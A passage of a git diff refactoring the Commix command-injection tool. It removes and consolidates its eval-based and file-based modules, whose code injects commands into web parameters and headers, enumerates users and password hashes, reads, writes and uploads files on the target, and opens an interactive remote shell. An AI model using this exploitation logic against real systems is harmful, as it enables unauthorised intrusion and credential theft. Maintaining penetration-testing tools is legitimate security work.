or menu.options.is_admin: - checks.print_enumenation().check_privs_msg() - check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - checks.print_enumenation().os_info_msg() - system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.users: - checks.print_enumenation().print_users_msg() - system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--passwords" - checks.unavailable_option(check_option) - else: - checks.print_enumenation().print_passes_msg() - system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - -""" -Check stored session -""" -def stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py deleted file mode 100755 index 0a60b909fe..0000000000 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ /dev/null @@ -1,133 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import os -import sys -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.core.requests import requests -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.results_based.techniques.eval_based import eb_injector - -""" - The dynamic code evaluation (aka eval-based) technique. -""" - -""" -Write to a file on the target host. -""" -def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = checks.change_dir(dest_to_write) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - eb_injector.injection_results(response, TAG, cmd) - cmd = checks.delete_tmp(tmp_fname) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - eb_injector.injection_results(response, TAG, cmd) - else: - cmd = checks.write_content(content, dest_to_write) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - checks.file_write_status(shell, dest_to_write) - -""" -Upload a file on the target host. -""" -def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd, dest_to_upload = checks.check_file_to_upload() - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_upload) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - checks.file_upload_status(shell, dest_to_upload) - -""" -Read a file from the target host. -""" -def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd, file_to_read = checks.file_content_to_read() - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.file_read_status(shell, file_to_read, filename) - -""" -Check the defined options -""" -def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if menu.options.file_write: - file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--file-upload" - checks.unavailable_option(check_option) - else: - file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - -""" -Check stored session -""" -def stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.FILE_ACCESS_DONE == True : - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 2eac2f668f..5738dde6f1 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -13,29 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ -import os -import re -import sys -import time -import string -import random -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.utils import common -from src.utils import session_handler -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.controller import shell_options -from src.core.injections.results_based.techniques.eval_based import eb_injector -from src.core.injections.results_based.techniques.eval_based import eb_payloads -from src.core.injections.results_based.techniques.eval_based import eb_enumeration -from src.core.injections.results_based.techniques.eval_based import eb_file_access +from src.core.injections.controller import handler """ The dynamic code evaluation (aka eval-based) technique. @@ -45,286 +23,13 @@ The "eval-based" injection technique handler. """ def eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): - - shell = False - counter = 1 - vp_flag = True - no_result = True - export_injection_info = False - - for item in range(0, len(settings.EXECUTION_FUNCTIONS)): - settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" - settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS - - checks.testing_technique_title(injection_type, technique) - - i = 0 - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) - for whitespace in settings.WHITESPACES: - for prefix in settings.EVAL_PREFIXES: - for suffix in settings.EVAL_SUFFIXES: - for separator in settings.EVAL_SEPARATORS: - if whitespace == settings.SINGLE_WHITESPACE: - whitespace = _urllib.parse.quote(whitespace) - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): - try: - settings.EVAL_BASED_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - except TypeError: - checks.error_loading_session_file() - - if settings.RETEST == True: - settings.RETEST = False - from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) - checks.testing_technique_title(injection_type, technique) - - if not settings.LOAD_SESSION: - i = i + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - # Change TAG on every request to prevent false-positive results. - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - - randv1 = random.randrange(100) - randv2 = random.randrange(100) - randvcalc = randv1 + randv2 - - # Define alter shell - alter_shell = menu.options.alter_shell - - try: - if alter_shell: - # Classic -alter shell- decision payload (check if host is vulnerable). - payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2) - else: - # Classic decision payload (check if host is vulnerable). - payload = eb_payloads.decision(separator, TAG, randv1, randv2) - - # suffix = _urllib.parse.quote(suffix) - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Fixation for specific payload. - if ")%3B" + ")}" in payload: - payload = payload.replace(")%3B" +")}", ")" + ")}") - #payload = payload + TAG + "" - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - if not settings.TAMPER_SCRIPTS['base64encode'] and \ - not settings.TAMPER_SCRIPTS['hexencode']: - payload = payload.replace(settings.SINGLE_WHITESPACE, "%20") - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - settings.print_data_to_stdout(settings.print_payload(payload)) - - # Cookie header injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = eb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # User-Agent HTTP header injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Referer HTTP header injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = eb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Host HTTP header injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = eb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Custom HTTP header injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom HTTP header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - found_cookie_injection = False - # Check if target host is vulnerable. - response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url) - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate test results. - time.sleep(timesec) - shell = eb_injector.injection_test_results(response, TAG, randvcalc) - if settings.VERBOSITY_LEVEL == 0: - percent, float_percent = checks.percentage_calculation(i, total) - percent = checks.print_percentage(float_percent, no_result, shell) - checks.injection_process(injection_type, technique, percent) - - except (KeyboardInterrupt, SystemExit): - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise - - except: - continue - - # Yaw, got shellz! - # Do some magic tricks! - if shell: - found = True - no_result = False - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) - # Export session - if not settings.LOAD_SESSION: - session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) - else: - whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - # Check for any enumeration options. - eb_enumeration.stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # Check for any system file access options. - eb_file_access.stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # Check if defined single cmd. - if menu.options.os_cmd: - eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - # Pseudo-Terminal shell - try: - checks.alert() - go_back = False - go_back_again = False - while True: - if go_back == True: - break - gotshell = checks.enable_shell(url) - if gotshell in settings.CHOICE_YES: - settings.print_data_to_stdout(settings.OS_SHELL_TITLE) - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - # The main command injection exploitation. - time.sleep(timesec) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - if menu.options.ignore_session or\ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - - if shell or shell != "": - shell = "".join(str(p) for p in shell) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - settings.print_data_to_stdout(settings.command_execution_output(shell)) - else: - err_msg = common.invalid_cmd_output(cmd) - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(gotshell) - pass - - except (KeyboardInterrupt, SystemExit): - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - return False - else : - settings.print_data_to_stdout(settings.END_LINE.CR) - + return handler.do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique) """ The exploitation function. (call the injection handler) """ def exploitation(url, timesec, filename, http_request_method, injection_type, technique): - if eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) == False: - return False + return eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index ab2b6665ce..a97af1d338 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -13,256 +13,29 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import sys -import time -import json -import string -import random -from src.utils import menu -from src.utils import settings -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.results_based.techniques.eval_based import eb_payloads +from src.core.injections.controller import injector """ The dynamic code evaluation (aka eval-based) technique. """ -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request - response = requests.get_request_response(request) - - # Check if defined method is POST. - else: - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Get the response of the request - response = requests.get_request_response(request) - - return response, vuln_parameter - """ Evaluate test results. """ -def injection_test_results(response, TAG, randvcalc): - if type(response) is bool and response != True or response is None: - return False - else: - html_data = checks.page_encoding(response, action="decode") - html_data = re.sub("\n", settings.SINGLE_WHITESPACE, html_data) - if settings.SKIP_CALC: - shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) - else: - shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) - return shell - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.referer_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Host-based injection) -""" -def host_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.host_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Custom header injection) -""" -def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) +def injection_test_results(response, TAG, randvcalc, technique): + return injector.injection_test_results(response, TAG, randvcalc, technique) """ The main command injection exploitation. """ -def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): - - def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): - # Execute shell commands on vulnerable host. - if alter_shell: - payload = eb_payloads.cmd_execution_alter_shell(separator, TAG, cmd) - else: - payload = eb_payloads.cmd_execution(separator, TAG, cmd) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - # Fixation for specific payload. - if ")%3B" + _urllib.parse.quote(")}") in payload: - payload = payload.replace(")%3B" + _urllib.parse.quote(")}"), ")" + _urllib.parse.quote(")}")) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Executing the '" + cmd + "' command. " - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - settings.print_data_to_stdout(settings.print_payload(payload)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request - response = requests.get_request_response(request) - - else : - # Check if defined method is POST. - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request - response = requests.get_request_response(request) - - return response - - # Do the injection check - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - tries = 0 - while not response: - if tries < (menu.options.failed_tries / 2): - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - tries = tries + 1 - else: - err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - return response +def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique): + OUTPUT_TEXTFILE = "" + return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) """ -Command execution results. +The command execution results. """ -def injection_results(response, TAG, cmd): - new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - # Grab execution results - html_data = checks.page_encoding(response, action="decode") - html_data = re.sub("\n", new_line, html_data) - shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data) - try: - if len(re.split(TAG + "(.*)" + TAG, shell[0])) != 0: - shell = re.findall(r"" + new_line + "(.*)" + new_line + "", \ - re.split(TAG + "(.*)" + TAG, \ - re.split(TAG + "(.*)" + TAG, shell[0])[0])[0]) - shell = shell[0].replace(new_line, "\n").rstrip().lstrip() - except IndexError: - pass - return shell - +def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): + url = OUTPUT_TEXTFILE = timesec = "" + return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py deleted file mode 100755 index a6feb38f4e..0000000000 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ /dev/null @@ -1,298 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -from src.utils import logs -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_handler -from src.core.injections.semiblind.techniques.file_based import fb_injector - -""" -The "file-based" technique on semiblind OS command injection. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - _ = False - cmd = settings.PS_VERSION - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = cmd = checks.quoted_cmd(cmd) - # Evaluate injection results. - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - ps_version = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - ps_version = "".join(str(p) for p in ps_version) - session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) - else: - ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_ps_version(ps_version, filename, _) - -""" -Hostname 